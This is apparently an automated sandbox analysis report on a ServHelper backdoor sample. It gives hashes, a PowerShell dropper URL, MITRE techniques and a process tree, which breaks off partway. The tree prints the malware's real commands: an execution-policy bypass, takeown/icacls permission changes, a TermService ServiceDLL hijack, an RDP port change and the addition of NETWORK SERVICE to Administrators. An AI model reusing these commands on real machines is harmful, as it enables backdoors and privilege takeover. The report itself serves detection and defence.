servhelper | d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10-04-2024 14:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
Size

5.7MB
MD5

83d119a963e7050995f9bf6be8841b95
SHA1

2ba0e479d5c2b7b9b28c7f946bd56489cedaa126
SHA256

d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486
SHA512

4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe
SSDEEP

49152:OZxqAErb/T/vO90dL3BmAFd4A64nsfJ49fEM5QcLTmk/2PU3oq5Z/tXGKSXzDBme:OZZ0hEumAQQQQQQQQQQQQQ

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
20	5064	powershell.exe
22	5064	powershell.exe
24	5064	powershell.exe
28	5064	powershell.exe
30	5064	powershell.exe
32	5064	powershell.exe
34	5064	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid process

4620 icacls.exe
4520 icacls.exe
4944 icacls.exe
4776 icacls.exe
4468 icacls.exe
4524 icacls.exe
2392 icacls.exe
2248 takeown.exe

pid	process
4620	icacls.exe
4520	icacls.exe
4944	icacls.exe
4776	icacls.exe
4468	icacls.exe
4524	icacls.exe
2392	icacls.exe
2248	takeown.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

1060
1060
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2392 icacls.exe
2248 takeown.exe
4620 icacls.exe
4520 icacls.exe
4944 icacls.exe
4776 icacls.exe
4468 icacls.exe
4524 icacls.exe

pid	process
1060
1060

pid	process
2392	icacls.exe
2248	takeown.exe
4620	icacls.exe
4520	icacls.exe
4944	icacls.exe
4776	icacls.exe
4468	icacls.exe
4524	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\Branding\mediasrv.png	upx
C:\Windows\Branding\mediasvc.png	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

19 raw.githubusercontent.com
20 raw.githubusercontent.com
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 18 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDCA7.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_bxqqwmsm.qlj.ps1	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDC08.tmp	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_awxqnttb.lwd.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDC57.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDC68.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIDCB8.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

940 WMIC.exe

pid	process
940	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

4436 reg.exe
Runs net.exe

pid	process
4436	reg.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4612	powershell.exe
4612	powershell.exe
3764	powershell.exe
3764	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
708	powershell.exe
708	powershell.exe
708	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
5064	powershell.exe
5064	powershell.exe
5064	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

664
664

pid	process
664
664

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeRestorePrivilege	4520	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeAuditPrivilege	940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	940	WMIC.exe
Token: SeAuditPrivilege	940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe
Token: SeAuditPrivilege	3784	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3784	WMIC.exe
Token: SeAuditPrivilege	3784	WMIC.exe
Token: SeDebugPrivilege	5064	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exe

description	pid	process	target process
PID 3220 wrote to memory of 4612	3220	d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe	powershell.exe
PID 3220 wrote to memory of 4612	3220	d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe	powershell.exe
PID 4612 wrote to memory of 764	4612	powershell.exe	csc.exe
PID 4612 wrote to memory of 764	4612	powershell.exe	csc.exe
PID 764 wrote to memory of 2208	764	csc.exe	cvtres.exe
PID 764 wrote to memory of 2208	764	csc.exe	cvtres.exe
PID 4612 wrote to memory of 3764	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 3764	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 4148	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 4148	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 708	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 708	4612	powershell.exe	powershell.exe
PID 4612 wrote to memory of 2248	4612	powershell.exe	takeown.exe
PID 4612 wrote to memory of 2248	4612	powershell.exe	takeown.exe
PID 4612 wrote to memory of 4620	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4620	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4520	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4520	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4944	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4944	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4776	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4776	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4468	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4468	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4524	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 4524	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 2392	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 2392	4612	powershell.exe	icacls.exe
PID 4612 wrote to memory of 5112	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 5112	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 4436	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 4436	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 4760	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 4760	4612	powershell.exe	reg.exe
PID 4612 wrote to memory of 1624	4612	powershell.exe	net.exe
PID 4612 wrote to memory of 1624	4612	powershell.exe	net.exe
PID 1624 wrote to memory of 3636	1624	net.exe	net1.exe
PID 1624 wrote to memory of 3636	1624	net.exe	net1.exe
PID 4612 wrote to memory of 4316	4612	powershell.exe	cmd.exe
PID 4612 wrote to memory of 4316	4612	powershell.exe	cmd.exe
PID 4316 wrote to memory of 4968	4316	cmd.exe	cmd.exe
PID 4316 wrote to memory of 4968	4316	cmd.exe	cmd.exe
PID 4968 wrote to memory of 3708	4968	cmd.exe	net.exe
PID 4968 wrote to memory of 3708	4968	cmd.exe	net.exe
PID 3708 wrote to memory of 1484	3708	net.exe	net1.exe
PID 3708 wrote to memory of 1484	3708	net.exe	net1.exe
PID 4612 wrote to memory of 3652	4612	powershell.exe	cmd.exe
PID 4612 wrote to memory of 3652	4612	powershell.exe	cmd.exe
PID 3652 wrote to memory of 3712	3652	cmd.exe	cmd.exe
PID 3652 wrote to memory of 3712	3652	cmd.exe	cmd.exe
PID 3712 wrote to memory of 1932	3712	cmd.exe	net.exe
PID 3712 wrote to memory of 1932	3712	cmd.exe	net.exe
PID 1932 wrote to memory of 740	1932	net.exe	net1.exe
PID 1932 wrote to memory of 740	1932	net.exe	net1.exe
PID 4804 wrote to memory of 1560	4804	cmd.exe	net.exe
PID 4804 wrote to memory of 1560	4804	cmd.exe	net.exe
PID 1560 wrote to memory of 1236	1560	net.exe	net1.exe
PID 1560 wrote to memory of 1236	1560	net.exe	net1.exe
PID 3548 wrote to memory of 400	3548	cmd.exe	net.exe
PID 3548 wrote to memory of 400	3548	cmd.exe	net.exe
PID 400 wrote to memory of 1284	400	net.exe	net1.exe
PID 400 wrote to memory of 1284	400	net.exe	net1.exe
PID 1128 wrote to memory of 1192	1128	cmd.exe	net.exe
PID 1128 wrote to memory of 1192	1128	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
"C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mjljrh5x\mjljrh5x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CFE.tmp" "c:\Users\Admin\AppData\Local\Temp\mjljrh5x\CSCC9632A9A8A3A4642992C2BF8CFD52A1.TMP"
      4⤵
      PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:708
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2248
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4944
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4776
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4468
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4524
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2392
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:5112
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Sets DLL path for service in the registry
    - Modifies registry key
    PID:4436
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4760
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3636
- - C:\Windows\system32\cmd.exe
